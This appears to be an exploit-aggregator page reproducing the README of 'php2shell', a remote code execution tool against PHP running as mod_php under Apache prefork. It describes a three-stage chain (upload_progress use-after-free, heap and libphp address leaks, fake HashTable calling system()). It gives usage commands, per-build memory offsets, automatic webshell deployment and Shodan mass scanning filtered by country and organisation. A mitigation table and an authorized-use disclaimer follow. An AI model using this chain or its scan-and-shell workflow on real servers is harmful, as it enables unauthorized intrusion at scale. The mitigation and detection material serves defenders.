Back Sploitus Exploit for Improperly Controlled Sequential Memory Allocation in Php
*session.upload_progress UAF → heap leak → libphp leak → fake HashTable → `system()` — pure HTTP, zero target-side requirements*
[. Fully remote, HTTP-only exploit chain against `mod_php + Apache prefork`:
- No `session_start()` needed on the target page
- No credentials, no cookie, no header trick
→ 12MB multipart OOM inside php_session_initialize()
→ prefork forks fresh worker, inherits libphp mapping + heap layout
→ re-occupies dangling reference with attacker-sized multipart buffers
→ fake HashTable: pDestructor = zif_system
→ zend_hash_destroy() calls system("whoami>p")
**Stage 1** — OOM multipart leaks Zend MM chunk base via `Set-Cookie: PHPSESSID=` raw heap bytes.
**Stage 2** — HashTable alignment leaks `zval_ptr_dtor` address → `libphp.so` base → ASLR defeated.
**Stage 3** — 167-byte fake HashTable/zend_string carrier planted in session data. `pDestructor = libphp_base + zif_system_offset`. Command at offset `0x98`, max **14 bytes**.
git clone
# optional, for --scan (Shodan mass scan):
Python 3.10+. Single file, no build step.
python php2shell_scanner.py --target
python php2shell_scanner.py --target --exploit
python php2shell_scanner.py --target --exploit --shell
After RCE, this automatically generates a managed PHP webshell (bcrypt auth, TTL auto-delete, audit log), deploys it via multi-run stager, and opens an interactive REPL.
python php2shell_scanner.py --connect # last deployed
python php2shell_scanner.py --connect # specific URL
python php2shell_scanner.py --target --exploit --deploy my_shell.php
python php2shell_scanner.py --scan --limit 500 --exploit # Shodan
python php2shell_scanner.py --input targets.txt --exploit # from file
python php2shell_scanner.py --scan --country US --org "Amazon" # filtered
| `--path PATH` | auto | Force PHP endpoint path |
| `--exploit` | off | Run the 3-stage chain |
| `--cmd CMD` | `whoami>p` | Stage-3 command, ≤14 bytes, ≥8 bytes recommended |
| `--profile NAME` | auto | Calibration profile (`lab`, `bookworm`, `8.5.11-amd64`, etc.) |
| `--zif-offset HEX` | profile | Manual `zif_system` offset from libphp base |
| `--dtor-offset HEX` | profile | Manual `zval_ptr_dtor` offset from libphp base |
| `--htdata-offset HEX` | profile | Manual chunk-relative carrier offset |
| `--huge-mb N` | memprobe | Force the stage-1 OOM field size in MB |
| `--fetch PATH` | auto | HTTP path to read after stage 3 for proof |
| `--retries N` | 3 | Leak-stage retries |
| `--exploit-timeout N` | 300 | Total exploit budget in seconds |
| `--exploit-threads N` | 1 | Parallel threads across different targets |
| `--no-pre-rotate` | off | Skip warm-up worker rotation |
| `--no-retry-rotate` | off | Don't rotate between retries |
| `--shell` | off | Generate + auto-deploy managed webshell after RCE |
| `--shell-out DIR` | `./out` | Output directory for generated shell |
| `--shell-ttl N` | 72 | Shell self-destructs after N hours |
| `--connect [URL]` | — | Open REPL against a deployed shell. Bare = last deployed |
| `--deploy FILE` | — | Deploy a custom PHP file instead of the managed shell |
| `--deploy-filename NAME` | random hex | Remote filename for deployed shell |
| `--scan` | off | Mass scan via Shodan |
| `--input FILE` | — | Scan from file (one target per line) |
| `--limit N` | 100 | Shodan results per query |
| `--threads N` | 15 | Parallel scan threads |
| `--timeout N` | 12 | Per-request timeout |
| `--country CC` | — | Shodan country filter |
| `--query Q` | — | Custom Shodan query override |
| `--show-all` | off | Exploit 'possible' targets too, not just confirmed/likely |
| `--include-eol` | off | Include EOL branches in Shodan queries |
| `--out FILE` | `php2shell_results.json` | Report output file |
| Profile | Build | zif_system | zval_ptr_dtor | htdata |
|---------|-------|------------|---------------|--------|
| `lab` | PHP 8.4.26, Apache 2.4.68 | 0x43A870 | 0x613C50 | 0x6E0D8 |
| `bookworm` | `php:8.4.26-apache` amd64 | 0x465370 | 0x65EB60 | 0x690D8 |
| `8.5.11-amd64` | `php:8.5.11-apache` amd64 | 0x5996E0 | 0x7B47A0 | 0x690D8 |
| `8.5.11-aarch64` | `php:8.5.11-apache` aarch64 | 0x5314F0 | 0x761B80 | 0x690D8 |
| `8.5.10-aarch64` | `php:8.5.10-apache` aarch64 | 0x52E130 | 0x75D360 | 0x690D8 |
| `8.4.25-aarch64` | `php:8.4.25-apache` aarch64 | 0x42FA30 | 0x637AE0 | 0x690D8 |
Unknown build? Extract offsets from `libphp.so`:
nm -D libphp.so | grep -E 'zif_system|zval_ptr_dtor'
# then pass: --zif-offset 0x... --dtor-offset 0x... --htdata-offset 0x...
Or use the included helper on a running container:
python docker/offsets.py [container_name]
# → php:8.4.26-apache, single prefork worker, port 8095
# → session.upload_progress.enabled=On, memory_limit=8M
python php2shell_scanner.py --target --exploit --shell
Any PHP ≤ 8.4.26 / 8.5.11 / 8.3.35 / 8.2.34 running as `mod_php` under Apache prefork with `session.upload_progress.enabled = On` (the default).
All PHP ≤ 8.1 branches are permanently vulnerable — no patch exists.
| **Update PHP** | 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12 or later — this is the only real fix |
| **Disable upload_progress** | `session.upload_progress.enabled = Off` in `php.ini` — blocks the trigger entirely |
| **Switch to php-fpm** | The exploit requires `mod_php` under prefork. php-fpm behind nginx or Apache event MPM is not vulnerable to this chain |
| **WAF rules** | Block multipart requests with `PHP_SESSION_UPLOAD_PROGRESS` in form field names — this is the trigger mechanism |
| **Upgrade EOL branches** | PHP 5.x, 7.x, 8.0, 8.1 will never be patched. migrate to a supported branch |
php -i | grep session.upload_progress.enabled
# check SAPI (mod_php = vulnerable, fpm = not this chain)
| `HEAP_LEAK_FAILED` | Offsets not calibrated for this build | Use `--profile` or manual offsets |
| Stage 1 body rejected | `post_max_size` too small | Needs ≥ 64M on target |
| Stage 3 runs but no proof | Command p`) |
| `BLIND` result | No proof channel | Use `cmd>file` redirect shape |
| Shell 410 Gone | TTL expired | Re-deploy with `--shell` |
This tool is for **authorized security testing and research only**. Use it only on systems you own or have written permission to test. Unauthorized access to computer systems is a crime in most jurisdictions.
**[BAWAN]( — [github.com/bawanu/php2shell](
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
